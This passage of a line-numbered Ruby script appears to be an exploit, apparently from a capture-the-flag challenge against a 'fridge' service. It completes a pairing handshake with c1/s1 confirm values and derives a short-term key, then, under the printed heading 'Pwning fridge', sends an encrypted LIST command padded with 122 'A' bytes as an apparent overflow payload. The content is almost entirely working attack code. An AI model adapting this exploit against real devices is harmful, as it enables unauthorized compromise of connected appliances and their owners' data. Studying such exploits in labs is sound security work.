" + mRand.unpack("H*").first 153 | mConfirm = c1(tk, mRand) 154 | p "mConfirm: " + mConfirm.unpack("H*").first 155 | 156 | 157 | p = ([21].pack("I") + "\x1" + mConfirm) 158 | $s.send p, 0 159 | sConfirm = $s.recvn 20 160 | sConfirm = sConfirm[4...20] 161 | p "sConfirm: " + sConfirm.unpack("H*").first 162 | 163 | p = ([20].pack("I") + mRand) 164 | $s.send p, 0 165 | sRand = $s.recvn 20 166 | sRand = sRand[4...20] 167 | p "sRand: " + sRand.unpack("H*").first 168 | 169 | sConfirmCheck = c1(tk, sRand) 170 | p "Check: " + sConfirmCheck.unpack("H*").first 171 | if(sConfirmCheck == sConfirm) 172 | $stk = s1(tk, sRand, mRand) 173 | p "STK: " + $stk.unpack("H*").first 174 | puts "Paired" 175 | else 176 | puts "Pairing failed" 177 | exit 178 | end 179 | 180 | 181 | puts "-------------------------------------" 182 | 183 | 184 | 185 | open 1 186 | puts "Pwning fridge" 187 | data = "LIST" + " " + "A" * 122 + "\x00" 188 | puts "Data size = #{data.size}" 189 | enc = encrypt_without_padding $stk, data 190 | puts "Enc size = #{enc.size}" 191 | p = [enc.size + 4].pack("I") + enc 192 | puts "Sending #{p.size} bytes" 193 | $s.send p, 0 194 | size = $s.recvn(4).unpack("I").first 195 | answer = $s.recvn(size - 4) 196 | close 197 | open 0 198 | list 199 | show 0 200 | --------------------------------------------------------------------------------